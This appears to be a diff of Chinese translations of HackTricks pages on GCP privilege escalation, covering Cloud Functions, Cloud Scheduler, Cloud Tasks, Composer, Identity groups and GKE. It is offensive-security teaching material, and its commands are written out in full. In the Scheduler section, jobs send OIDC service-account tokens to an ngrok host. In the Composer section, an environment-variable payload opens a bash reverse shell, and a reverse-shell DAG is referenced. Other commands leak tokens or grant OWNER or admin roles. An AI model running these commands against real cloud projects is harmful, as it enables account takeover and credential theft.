With this permission the user can get the **read access token** used to access the repository:
|
||||
|
||||
<details><summary>获取用于访问 repository 的 read access token</summary>
|
||||
```bash
|
||||
curl -X POST \
|
||||
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
|
||||
@@ -47,9 +57,13 @@ curl -X POST \
|
||||
-d '{}' \
|
||||
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>/repositories/<repo-id>:accessReadToken"
|
||||
```
|
||||
</details>
|
||||
|
||||
### `cloudbuild.repositories.accessReadWriteToken`
|
||||
|
||||
通过此权限,用户可以获取用于访问存储库的**读写访问令牌**:
|
||||
拥有此权限的用户可以获取用于访问仓库的**读写访问令牌**:
|
||||
|
||||
<details><summary>获取仓库的读写访问令牌</summary>
|
||||
```bash
|
||||
curl -X POST \
|
||||
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
|
||||
@@ -57,12 +71,18 @@ curl -X POST \
|
||||
-d '{}' \
|
||||
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>/repositories/<repo-id>:accessReadWriteToken"
|
||||
```
|
||||
</details>
|
||||
|
||||
### `cloudbuild.connections.fetchLinkableRepositories`
|
||||
|
||||
通过此权限,您可以**获取连接可以访问的仓库:**
|
||||
拥有此权限可以**获取该连接有权访问的仓库:**
|
||||
|
||||
<details><summary>获取可关联的仓库</summary>
|
||||
```bash
|
||||
curl -X GET \
|
||||
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
|
||||
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>:fetchLinkableRepositories"
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+30
-22
@@ -4,7 +4,7 @@
|
||||
|
||||
## cloudfunctions
|
||||
|
||||
有关 Cloud Functions 的更多信息:
|
||||
关于 Cloud Functions 的更多信息:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-cloud-functions-enum.md
|
||||
@@ -12,19 +12,21 @@
|
||||
|
||||
### `cloudfunctions.functions.create` , `cloudfunctions.functions.sourceCodeSet`_,_ `iam.serviceAccounts.actAs`
|
||||
|
||||
拥有这些权限的攻击者可以**创建一个带有任意(恶意)代码的新 Cloud Function,并将其分配给一个服务账户**。然后,从元数据中泄露服务账户令牌以提升权限。\
|
||||
可能需要一些权限来触发该函数。
|
||||
拥有这些权限的攻击者可以 **创建一个新的 Cloud Function,部署任意(恶意)代码并分配一个 Service Account**。然后,从 metadata 中 leak Service Account token,以提升到该账号的权限。\
|
||||
触发函数可能还需要一些额外的权限。
|
||||
|
||||
此方法的利用脚本可以在 [这里](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-call.py) 和 [这里](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-setIamPolicy.py) 找到,预构建的 .zip 文件可以在 [这里](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudFunctions) 找到。
|
||||
Exploit scripts for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-call.py) and [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-setIamPolicy.py) and the prebuilt .zip file can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudFunctions).
|
||||
|
||||
### `cloudfunctions.functions.update` , `cloudfunctions.functions.sourceCodeSet`_,_ `iam.serviceAccounts.actAs`
|
||||
|
||||
拥有这些权限的攻击者可以**修改函数的代码,甚至修改附加的服务账户**,目的是提取令牌。
|
||||
拥有这些权限的攻击者可以 **修改 Function 的代码,甚至更改所附的 Service Account**,以窃取该 token 为目的。
|
||||
|
||||
> [!CAUTION]
|
||||
> 为了部署云函数,您还需要对默认计算服务账户或用于构建映像的服务账户具有 actAs 权限。
|
||||
> 为了部署 Cloud Functions,你还需要对默认的 compute service account 或用于构建镜像的 service account 拥有 actAs 权限。
|
||||
|
||||
可能需要一些额外的权限,例如版本 1 cloudfunctions 的 `.call` 权限或角色 `role/run.invoker` 来触发该函数。
|
||||
一些额外的权限可能也是必需的,例如针对 version 1 cloudfunctions 的 `.call` 权限,或用于触发函数的角色 `role/run.invoker`。
|
||||
|
||||
<details><summary>更新 Cloud Function 为恶意代码以外泄 Service Account token</summary>
|
||||
```bash
|
||||
# Create new code
|
||||
temp_dir=$(mktemp -d)
|
||||
@@ -54,14 +56,18 @@ gcloud functions deploy <cloudfunction-name> \
|
||||
# Get SA token calling the new function code
|
||||
gcloud functions call <cloudfunction-name>
|
||||
```
|
||||
> [!CAUTION]
|
||||
> 如果您收到错误 `Permission 'run.services.setIamPolicy' denied on resource...`,这意味着您正在使用 `--allow-unauthenticated` 参数,并且您没有足够的权限。
|
||||
</details>
|
||||
|
||||
此方法的利用脚本可以在 [这里](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.update.py) 找到。
|
||||
> [!CAUTION]
|
||||
> 如果你遇到错误 `Permission 'run.services.setIamPolicy' denied on resource...`,这是因为你使用了 `--allow-unauthenticated` 参数,但你没有足够的权限。
|
||||
|
||||
The exploit script for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.update.py).
|
||||
|
||||
### `cloudfunctions.functions.sourceCodeSet`
|
||||
|
||||
拥有此权限,您可以获取一个 **签名 URL,以便能够将文件上传到函数存储桶(但函数的代码不会被更改,您仍然需要更新它)**
|
||||
拥有此权限可以获取一个 **signed URL**,用于向 function bucket 上传文件(但函数的代码不会被更改,你仍然需要更新它)
|
||||
|
||||
<details><summary>为 Cloud Function 生成 signed upload URL</summary>
|
||||
```bash
|
||||
# Generate the URL
|
||||
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions:generateUploadUrl \
|
||||
@@ -69,38 +75,40 @@ curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/loca
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{}'
|
||||
```
|
||||
不太确定仅凭这个权限对攻击者的角度有多大用处,但知道这一点是好的。
|
||||
</details>
|
||||
|
||||
不太确定单独拥有这个权限从攻击者角度有多大用处,但值得知道。
|
||||
|
||||
### `cloudfunctions.functions.setIamPolicy` , `iam.serviceAccounts.actAs`
|
||||
|
||||
给自己任何之前的 **`.update`** 或 **`.create`** 权限以进行升级。
|
||||
给自己任意之前提到的 **`.update`** 或 **`.create`** 权限以提升权限。
|
||||
|
||||
### `cloudfunctions.functions.update`
|
||||
|
||||
仅拥有 **`cloudfunctions`** 权限,而没有 **`iam.serviceAccounts.actAs`**,你 **将无法更新函数,因此这不是有效的权限提升。**
|
||||
仅拥有 **`cloudfunctions`** 权限而没有 **`iam.serviceAccounts.actAs`**,你 **无法更新函数,所以这不是一个有效的 PRIVESC。**
|
||||
|
||||
### 对存储桶的读写访问
|
||||
### Read & Write Access over the bucket
|
||||
|
||||
如果你对存储桶有读写访问权限,你可以监控代码的变化,并且每当 **存储桶中发生更新时,你可以用自己的代码更新新代码**,这样新版本的 Cloud Function 将运行提交的后门代码。
|
||||
如果你对该 bucket 有读写权限,你可以监视代码的更改,并且每当 **bucket 中发生更新时,你可以用自己的代码替换新代码**,这样新的 Cloud Function 版本就会运行你提交的带后门的代码。
|
||||
|
||||
你可以在以下链接中查看更多关于攻击的信息:
|
||||
你可以在以下文档中了解更多关于该攻击的信息:
|
||||
|
||||
{{#ref}}
|
||||
gcp-storage-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
然而,你不能用这个来预先攻陷第三方 Cloud Functions,因为如果你在你的账户中创建存储桶并给予公共权限以便外部项目可以在其上写入,你会收到以下错误:
|
||||
但是,你不能用这个方法预先妥协第三方 Cloud Functions,因为如果你在自己的账户中创建 bucket 并赋予其公开权限以便外部项目可以写入,你会收到如下错误:
|
||||
|
||||
<figure><img src="../../../images/image (1) (1) (1).png" alt="" width="304"><figcaption></figcaption></figure>
|
||||
|
||||
> [!CAUTION]
|
||||
> 然而,这可以用于 DoS 攻击。
|
||||
> 不过,这可能会被用于 DoS 攻击。
|
||||
|
||||
### 对 Artifact Registry 的读写访问
|
||||
### Read & Write Access over Artifact Registry
|
||||
|
||||
当创建 Cloud Function 时,一个新的 docker 镜像会被推送到项目的 Artifact Registry。我尝试用一个新的镜像修改当前镜像,甚至删除当前镜像(和 `cache` 镜像),但没有任何变化,Cloud Function 继续工作。因此,也许 **可能会利用竞争条件攻击** 来更改将要运行的 docker 容器,但 **仅仅修改存储的镜像无法攻陷 Cloud Function**。
|
||||
当创建 Cloud Function 时,会向项目的 Artifact Registry 推送一个新的 docker 镜像。我尝试用新镜像修改该镜像,甚至删除当前镜像(和 `cache` 镜像),但没有任何改变,Cloud Function 仍然继续工作。因此,也许有可能像对 bucket 那样利用 **Race Condition 攻击** 来更改将被运行的 docker 容器,但**仅仅修改存储的镜像并不能用来妥协 Cloud Function**。
|
||||
|
||||
## 参考
|
||||
## 参考资料
|
||||
|
||||
- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)
|
||||
|
||||
|
||||
+11
-3
@@ -10,16 +10,22 @@
|
||||
../gcp-services/gcp-iam-and-org-policies-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### 将自己添加到组
|
||||
### 将自己添加到组中
|
||||
|
||||
如果您的用户具有足够的权限或组配置错误,他可能能够将自己添加为新组的成员:
|
||||
如果你的用户具有足够的权限或该组配置不当,他可能能够将自己添加为新组的成员:
|
||||
|
||||
<details><summary>将自己添加到 Cloud Identity 组</summary>
|
||||
```bash
|
||||
gcloud identity groups memberships add --group-email <email> --member-email <email> [--roles OWNER]
|
||||
# If --roles isn't specified you will get MEMBER
|
||||
```
|
||||
</details>
|
||||
|
||||
### 修改组成员资格
|
||||
|
||||
如果您的用户拥有足够的权限或组配置错误,他可能能够使自己成为他是成员的组的所有者:
|
||||
如果你的用户拥有足够的权限或该组配置不当,他可能能够将自己在所属组中提升为 OWNER:
|
||||
|
||||
<details><summary>将组成员资格修改为成为 OWNER</summary>
|
||||
```bash
|
||||
# Check the current membership level
|
||||
gcloud identity groups memberships describe --member-email <email> --group-email <email>
|
||||
@@ -27,4 +33,6 @@ gcloud identity groups memberships describe --member-email <email> --group-email
|
||||
# If not OWNER try
|
||||
gcloud identity groups memberships modify-membership-roles --group-email <email> --member-email <email> --add-roles=OWNER
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+25
-9
@@ -4,7 +4,7 @@
|
||||
|
||||
## Cloud Scheduler
|
||||
|
||||
更多信息请参见:
|
||||
更多信息:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-cloud-scheduler-enum.md
|
||||
@@ -12,33 +12,47 @@
|
||||
|
||||
### `cloudscheduler.jobs.create` , `iam.serviceAccounts.actAs`, (`cloudscheduler.locations.list`)
|
||||
|
||||
拥有这些权限的攻击者可以利用 **Cloud Scheduler** 来 **以特定服务账户身份认证 cron 作业**。通过构造 HTTP POST 请求,攻击者可以调度操作,例如创建一个存储桶,以在服务账户的身份下执行。此方法利用了 **调度程序针对 `*.googleapis.com` 端点的能力和认证请求**,允许攻击者使用简单的 `gcloud` 命令直接操纵 Google API 端点。
|
||||
拥有这些权限的攻击者可以利用 **Cloud Scheduler** 来 **以特定 Service Account 的身份对 cron jobs 进行身份验证**。通过构造一个 HTTP POST 请求,攻击者可以安排操作(例如创建一个 Storage bucket)以该 Service Account 的身份执行。此方法利用了 **Scheduler 能够针对 `*.googleapis.com` 端点并对请求进行身份验证** 的能力,从而允许攻击者直接使用一个简单的 `gcloud` 命令操作 Google API 端点。
|
||||
|
||||
- **通过 `googleapis.com` 使用 OAuth 令牌头访问任何 Google API**
|
||||
- **通过带有 OAuth token header 联系任意 google API(通过 `googleapis.com`)**
|
||||
|
||||
创建一个新的存储桶:
|
||||
创建一个新的 Storage bucket:
|
||||
|
||||
<details><summary>创建 Cloud Scheduler job 以通过 API 创建 GCS bucket</summary>
|
||||
```bash
|
||||
gcloud scheduler jobs create http test --schedule='* * * * *' --uri='https://storage.googleapis.com/storage/v1/b?project=<PROJECT-ID>' --message-body "{'name':'new-bucket-name'}" --oauth-service-account-email 111111111111-compute@developer.gserviceaccount.com --headers "Content-Type=application/json" --location us-central1
|
||||
```
|
||||
要提升权限,**攻击者只需构造一个针对所需 API 的 HTTP 请求,冒充指定的服务账户**
|
||||
</details>
|
||||
|
||||
- **提取 OIDC 服务账户令牌**
|
||||
要提升权限,**攻击者仅需构造一个针对目标 API 的 HTTP 请求,冒充指定的 Service Account**
|
||||
|
||||
- **Exfiltrate OIDC service account token**
|
||||
|
||||
<details><summary>Create Cloud Scheduler job to exfiltrate OIDC token</summary>
|
||||
```bash
|
||||
gcloud scheduler jobs create http test --schedule='* * * * *' --uri='https://87fd-2a02-9130-8532-2765-ec9f-cba-959e-d08a.ngrok-free.app' --oidc-service-account-email 111111111111-compute@developer.gserviceaccount.com [--oidc-token-audience '...']
|
||||
|
||||
# Listen in the ngrok address to get the OIDC token in clear text.
|
||||
```
|
||||
如果您需要检查 HTTP 响应,您可以**查看执行的日志**。
|
||||
</details>
|
||||
|
||||
如果需要检查 HTTP 响应,你可以**查看执行日志**。
|
||||
|
||||
### `cloudscheduler.jobs.update` , `iam.serviceAccounts.actAs`, (`cloudscheduler.locations.list`)
|
||||
|
||||
与之前的场景一样,可以**更新已创建的调度程序**以窃取令牌或执行操作。例如:
|
||||
像在前一个场景中一样,可以**更新已创建的 Cloud Scheduler 作业**来窃取 token 或执行操作。 例如:
|
||||
|
||||
<details><summary>Update existing Cloud Scheduler job to exfiltrate OIDC token</summary>
|
||||
```bash
|
||||
gcloud scheduler jobs update http test --schedule='* * * * *' --uri='https://87fd-2a02-9130-8532-2765-ec9f-cba-959e-d08a.ngrok-free.app' --oidc-service-account-email 111111111111-compute@developer.gserviceaccount.com [--oidc-token-audience '...']
|
||||
|
||||
# Listen in the ngrok address to get the OIDC token in clear text.
|
||||
```
|
||||
另一个将私钥上传到SA并冒充它的示例:
|
||||
</details>
|
||||
|
||||
另一个示例:向 SA 上传私钥并冒充它:
|
||||
|
||||
<details><summary>通过 Cloud Scheduler 将私钥上传到 Service Account 并冒充它</summary>
|
||||
```bash
|
||||
# Generate local private key
|
||||
openssl req -x509 -nodes -newkey rsa:2048 -days 365 \
|
||||
@@ -102,6 +116,8 @@ EOF
|
||||
# Activate the generated key
|
||||
gcloud auth activate-service-account --key-file=/tmp/lab.json
|
||||
```
|
||||
</details>
|
||||
|
||||
## 参考
|
||||
|
||||
- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)
|
||||
|
||||
+18
-6
@@ -6,7 +6,9 @@
|
||||
|
||||
### `cloudtasks.tasks.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
拥有这些权限的攻击者可以**冒充其他服务账户**,通过创建以指定服务账户身份执行的任务。这允许向**受IAM保护的Cloud Run或Cloud Functions**服务发送**经过身份验证的HTTP请求**。
|
||||
拥有这些权限的攻击者可以通过创建以指定 service accounts 身份执行的任务来**冒充其他 service accounts**。这允许向受 IAM 保护的 Cloud Run 或 Cloud Functions 服务发送**经过身份验证的 HTTP 请求**。
|
||||
|
||||
<details><summary>创建 Cloud Task 来冒充 service account</summary>
|
||||
```bash
|
||||
gcloud tasks create-http-task \
|
||||
task-$(date '+%Y%m%d%H%M%S') \
|
||||
@@ -18,17 +20,25 @@ task-$(date '+%Y%m%d%H%M%S') \
|
||||
--body-content '{"hello":"world"}' \
|
||||
--oidc-service-account-email <account>@<project_id>.iam.gserviceaccount.com
|
||||
```
|
||||
</details>
|
||||
|
||||
### `cloudtasks.tasks.run`, `cloudtasks.tasks.list`
|
||||
|
||||
拥有这些权限的攻击者可以**运行现有的计划任务**,而无需对与任务关联的服务账户拥有权限。这允许执行之前由更高权限的服务账户创建的任务。
|
||||
拥有这些权限的攻击者可以在没有与任务关联的 service account 权限的情况下,**运行现有的已调度任务**。这允许执行先前由拥有更高权限的 service accounts 创建的任务。
|
||||
|
||||
<details><summary>在无需 actAs permission 的情况下运行现有的 Cloud Task</summary>
|
||||
```bash
|
||||
gcloud tasks run projects/<project_id>/locations/us-central1/queues/<queue_name>/tasks/<task_id>
|
||||
```
|
||||
执行此命令的主体**不需要 `iam.serviceAccounts.actAs` 权限**在任务的服务账户上。然而,这仅允许运行现有任务 - 它不授予创建或修改任务的能力。
|
||||
</details>
|
||||
|
||||
执行此命令的主体**不需要在任务的服务账号上具有 `iam.serviceAccounts.actAs` 权限**。然而,这只允许运行现有任务——并不授予创建或修改任务的能力。
|
||||
|
||||
### `cloudtasks.queues.setIamPolicy`
|
||||
|
||||
拥有此权限的攻击者可以**授予自己或其他主体 Cloud Tasks 角色**在特定队列上,可能会升级到 `roles/cloudtasks.admin`,这包括创建和运行任务的能力。
|
||||
拥有此权限的攻击者可以**向自己或其他主体在特定队列上授予 Cloud Tasks 角色**,可能提升为 `roles/cloudtasks.admin`,该角色包含创建和运行任务的能力。
|
||||
|
||||
<details><summary>在队列上授予 Cloud Tasks 管理员角色</summary>
|
||||
```bash
|
||||
gcloud tasks queues add-iam-policy-binding \
|
||||
<queue_name> \
|
||||
@@ -36,9 +46,11 @@ gcloud tasks queues add-iam-policy-binding \
|
||||
--member serviceAccount:<account>@<project_id>.iam.gserviceaccount.com \
|
||||
--role roles/cloudtasks.admin
|
||||
```
|
||||
这允许攻击者将完全的 Cloud Tasks 管理权限授予他们控制的任何服务账户。
|
||||
</details>
|
||||
|
||||
## 参考
|
||||
这使得攻击者能够将该队列的完整 Cloud Tasks 管理权限授予他们控制的任何服务账号。
|
||||
|
||||
## References
|
||||
|
||||
- [Google Cloud Tasks Documentation](https://cloud.google.com/tasks/docs)
|
||||
|
||||
|
||||
+35
-15
@@ -4,7 +4,7 @@
|
||||
|
||||
## composer
|
||||
|
||||
更多信息请参见:
|
||||
更多信息:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-composer-enum.md
|
||||
@@ -12,18 +12,24 @@
|
||||
|
||||
### `composer.environments.create`
|
||||
|
||||
可以将**任何服务账户**附加到新创建的composer环境中,前提是拥有该权限。之后,您可以在composer内部执行代码以窃取服务账户令牌。
|
||||
使用该权限可以将 **attach any service account** 附加到新创建的 composer 环境。之后你可以在 composer 内执行代码以窃取该 service account 的 token。
|
||||
|
||||
<details><summary>创建附带 service account 的 composer 环境</summary>
|
||||
```bash
|
||||
gcloud composer environments create privesc-test \
|
||||
--project "${PROJECT_ID}" \
|
||||
--location europe-west1 \
|
||||
--service-account="${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount.com"
|
||||
```
|
||||
更多关于利用的信息 [**这里**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/i-composer.environmets.create.sh)。
|
||||
</details>
|
||||
|
||||
关于该利用的更多信息见 [**here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/i-composer.environmets.create.sh).
|
||||
|
||||
### `composer.environments.update`
|
||||
|
||||
可以更新 composer 环境,例如,修改环境变量:
|
||||
可以更新 composer environment,例如修改 env variables:
|
||||
|
||||
<details><summary>Update Composer environment variables for code execution</summary>
|
||||
```bash
|
||||
# Even if it says you don't have enough permissions the update happens
|
||||
gcloud composer environments update \
|
||||
@@ -46,24 +52,36 @@ X-Allowed-Locations: 0x0
|
||||
|
||||
{"config": {"softwareConfig": {"envVariables": {"BROWSER": "/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/1890 0>&1' & #%s", "PYTHONWARNINGS": "all:0:antigravity.x:0:0"}}}}
|
||||
```
|
||||
TODO: 通过向环境添加新的 pypi 包获取 RCE
|
||||
</details>
|
||||
|
||||
### 下载 Dags
|
||||
待办:通过向环境添加新的 pypi 包来获得 RCE
|
||||
|
||||
检查正在执行的 dags 的源代码:
|
||||
### 下载 DAGs
|
||||
|
||||
检查正在执行的 DAGs 的源代码:
|
||||
|
||||
<details><summary>从 Composer 环境导出并下载 DAGs</summary>
|
||||
```bash
|
||||
mkdir /tmp/dags
|
||||
gcloud composer environments storage dags export --environment <environment> --location <loc> --destination /tmp/dags
|
||||
```
|
||||
</details>
|
||||
|
||||
### 导入 Dags
|
||||
|
||||
将 Python DAG 代码添加到文件中并通过运行导入它:
|
||||
将 python DAG 代码添加到文件中并运行以导入:
|
||||
|
||||
<details><summary>将恶意 DAG 导入 Composer 环境</summary>
|
||||
```bash
|
||||
# TODO: Create dag to get a rev shell
|
||||
gcloud composer environments storage dags import --environment test --location us-central1 --source /tmp/dags/reverse_shell.py
|
||||
```
|
||||
反向 shell DAG:
|
||||
```python:reverse_shell.py
|
||||
</details>
|
||||
|
||||
Reverse shell DAG:
|
||||
|
||||
<details><summary>Python DAG 代码(用于 reverse shell)</summary>
|
||||
```python
|
||||
import airflow
|
||||
from airflow import DAG
|
||||
from airflow.operators.bash_operator import BashOperator
|
||||
@@ -94,11 +112,13 @@ depends_on_past=False,
|
||||
priority_weight=2**31 - 1,
|
||||
do_xcom_push=False)
|
||||
```
|
||||
### 对 Composer 存储桶的写入访问
|
||||
</details>
|
||||
|
||||
所有 composer 环境的组件(DAGs、插件和数据)都存储在 GCP 存储桶中。如果攻击者对其具有读写权限,他可以监控存储桶,并**每当创建或更新 DAG 时,提交一个后门版本**,以便 composer 环境从存储中获取后门版本。
|
||||
### 对 Composer 存储桶的写入权限
|
||||
|
||||
获取有关此攻击的更多信息:
|
||||
所有 composer 环境的组件(DAGs、插件和数据)都存储在 GCP 存储桶中。如果攻击者对其具有读写权限,他可以监控该存储桶,并在 **whenever a DAG is created or updated, submit a backdoored version**,从而使 composer 环境从存储中获取被 backdoored 的版本。
|
||||
|
||||
Get more info about this attack in:
|
||||
|
||||
{{#ref}}
|
||||
gcp-storage-privesc.md
|
||||
@@ -106,10 +126,10 @@ gcp-storage-privesc.md
|
||||
|
||||
### 导入插件
|
||||
|
||||
TODO: 检查通过上传插件可以妥协的内容
|
||||
TODO:检查通过上传插件可能实现哪些危害
|
||||
|
||||
### 导入数据
|
||||
|
||||
TODO: 检查通过上传数据可以妥协的内容
|
||||
TODO:检查通过上传数据可能实现哪些危害
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+26
-18
@@ -1,21 +1,27 @@
|
||||
# GCP - 容器权限提升
|
||||
# GCP - Container Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## 容器
|
||||
## container
|
||||
|
||||
### `container.clusters.get`
|
||||
|
||||
此权限允许使用以下方式**收集Kubernetes集群的凭据**:
|
||||
此权限允许使用类似下面的方法**收集 Kubernetes 集群 的凭证**:
|
||||
|
||||
<details><summary>获取 Kubernetes 集群 凭证</summary>
|
||||
```bash
|
||||
gcloud container clusters get-credentials <cluster_name> --zone <zone>
|
||||
```
|
||||
在没有额外权限的情况下,凭据相当基本,因为您可以**仅列出一些资源**,但它们对于查找环境中的错误配置非常有用。
|
||||
</details>
|
||||
|
||||
在没有额外权限的情况下,这些凭证作用相当有限,通常你只能**列出某些资源**,但它们对发现环境中的错误配置很有用。
|
||||
|
||||
> [!NOTE]
|
||||
> 请注意,**kubernetes 集群可能被配置为私有**,这将禁止从互联网访问 Kube-API 服务器。
|
||||
> 注意,**kubernetes clusters 可能被配置为私有**,这会阻止从互联网访问 Kube-API server。
|
||||
|
||||
如果您没有此权限,仍然可以访问集群,但您需要**创建自己的 kubectl 配置文件**,其中包含集群信息。新生成的文件看起来像这样:
|
||||
如果你没有该权限,仍然可以访问集群,但你需要**创建你自己的 kubectl 配置文件**并包含集群信息。新生成的一个看起来像这样:
|
||||
|
||||
<details><summary>GKE 集群的 kubectl 配置文件示例</summary>
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
clusters:
|
||||
@@ -44,44 +50,46 @@ expiry-key: "{.credential.token_expiry}"
|
||||
token-key: "{.credential.access_token}"
|
||||
name: gcp
|
||||
```
|
||||
</details>
|
||||
|
||||
### `container.roles.escalate` | `container.clusterRoles.escalate`
|
||||
|
||||
**Kubernetes** 默认情况下 **防止** 主体能够 **创建** 或 **更新** **角色** 和 **集群角色**,以拥有 **比主体更高的权限**。然而,具有该权限的 **GCP** 主体将能够 **创建/更新具有更高权限的角色/集群角色**,有效地绕过 Kubernetes 对此行为的保护。
|
||||
**Kubernetes** 默认阻止主体创建或更新具有超出其自身权限的 **Roles** 和 **ClusterRoles**。然而,拥有该权限的 **GCP** 主体将能够创建/更新具有超过其当前权限的 Roles/ClusterRoles,从而有效绕过 Kubernetes 对此行为的防护。
|
||||
|
||||
**`container.roles.create`** 和/或 **`container.roles.update`** 或 **`container.clusterRoles.create`** 和/或 **`container.clusterRoles.update`** 分别也是 **必要的** 以执行这些权限提升操作。
|
||||
**`container.roles.create`** 和/或 **`container.roles.update`** 或者 **`container.clusterRoles.create`** 和/或 **`container.clusterRoles.update`** 分别也是执行这些权限提升操作所必需的。
|
||||
|
||||
### `container.roles.bind` | `container.clusterRoles.bind`
|
||||
|
||||
**Kubernetes** 默认情况下 **防止** 主体能够 **创建** 或 **更新** **角色绑定** 和 **集群角色绑定**,以授予 **比主体更高的权限**。然而,具有该权限的 **GCP** 主体将能够 **创建/更新具有更高权限的角色绑定/集群角色绑定**,有效地绕过 Kubernetes 对此行为的保护。
|
||||
**Kubernetes** 默认阻止主体创建或更新 **RoleBindings** 和 **ClusterRoleBindings** 来授予超出其自身权限的权限。然而,拥有该权限的 **GCP** 主体将能够创建/更新具有超过其当前权限的 RoleBindings/ClusterRoleBindings,从而有效绕过 Kubernetes 的该防护。
|
||||
|
||||
**`container.roleBindings.create`** 和/或 **`container.roleBindings.update`** 或 **`container.clusterRoleBindings.create`** 和/或 **`container.clusterRoleBindings.update`** 分别也是 **必要的** 以执行这些权限提升操作。
|
||||
**`container.roleBindings.create`** 和/或 **`container.roleBindings.update`** 或者 **`container.clusterRoleBindings.create`** 和/或 **`container.clusterRoleBindings.update`** 同样是执行这些权限提升操作所必须的。
|
||||
|
||||
### `container.cronJobs.create` | `container.cronJobs.update` | `container.daemonSets.create` | `container.daemonSets.update` | `container.deployments.create` | `container.deployments.update` | `container.jobs.create` | `container.jobs.update` | `container.pods.create` | `container.pods.update` | `container.replicaSets.create` | `container.replicaSets.update` | `container.replicationControllers.create` | `container.replicationControllers.update` | `container.scheduledJobs.create` | `container.scheduledJobs.update` | `container.statefulSets.create` | `container.statefulSets.update`
|
||||
|
||||
所有这些权限将允许您 **创建或更新资源**,您可以 **定义** 一个 **pod**。通过定义 pod,您可以 **指定将要附加的 SA** 和 **将要运行的镜像**,因此您可以运行一个将 **提取 SA 的令牌到您的服务器** 的镜像,从而使您能够提升到任何服务账户。\
|
||||
所有这些权限都将允许你创建或更新一个可以定义 pod 的资源。定义 pod 时你可以指定要附加的 SA 和要运行的 image,因此你可以运行一个 image,将该 SA 的 token exfiltrate 到你的服务器,从而使你能够提升到任意服务账号。
|
||||
更多信息请查看:
|
||||
|
||||
由于我们处于 GCP 环境中,您还将能够从 **元数据** 服务中 **获取节点池 GCP SA** 并 **在 GCP 中提升权限**(默认情况下使用计算 SA)。
|
||||
因为我们处于 **GCP** 环境,你还可以从 **metadata** service 获取 nodepool 的 GCP SA,并在 **GCP** 中提升权限(默认使用 compute SA)。
|
||||
|
||||
### `container.secrets.get` | `container.secrets.list`
|
||||
|
||||
正如 [**在此页面中解释的**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#listing-secrets),通过这些权限,您可以 **读取** 所有 **Kubernetes 的 SA 的令牌**,因此您可以提升到它们。
|
||||
As [**explained in this page**, ](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html#listing-secrets)拥有这些权限你可以读取所有 Kubernetes SAs 的 token,从而可以提升到这些账号。
|
||||
|
||||
### `container.pods.exec`
|
||||
|
||||
通过此权限,您将能够 **进入 pods 执行命令**,这使您能够 **访问** 所有 **在 pods 中运行的 Kubernetes SA**,以在 K8s 中提升权限,但您还将能够 **窃取** **节点池的 GCP 服务账户**,**在 GCP 中提升权限**。
|
||||
拥有此权限你将能够 exec 进入 pods,这使你可以访问运行在 pods 中的所有 Kubernetes SAs 以在 K8s 内提升权限,同时你也能够窃取 NodePool 的 GCP Service Account,从而在 GCP 提权。
|
||||
|
||||
### `container.pods.portForward`
|
||||
|
||||
正如 **在此页面中解释的**,通过这些权限,您可以 **访问在 pods 中运行的本地服务**,这可能允许您 **在 Kubernetes 中提升权限**(如果您以某种方式能够与元数据服务通信,则在 **GCP** 中也是如此)。
|
||||
As **explained in this page**, 拥有这些权限你可以访问运行在 pods 中的本地服务,这些服务可能允许你在 Kubernetes 中提升权限(如果你能与 metadata service 通信,也可能在 **GCP** 中提权)。
|
||||
|
||||
### `container.serviceAccounts.createToken`
|
||||
|
||||
由于 **权限** 的 **名称**,它 **看起来会允许您生成 K8s 服务账户的令牌**,因此您将能够 **在 Kubernetes 中提升到任何 SA**。然而,我找不到任何可以使用的 API 端点,所以如果您找到,请告诉我。
|
||||
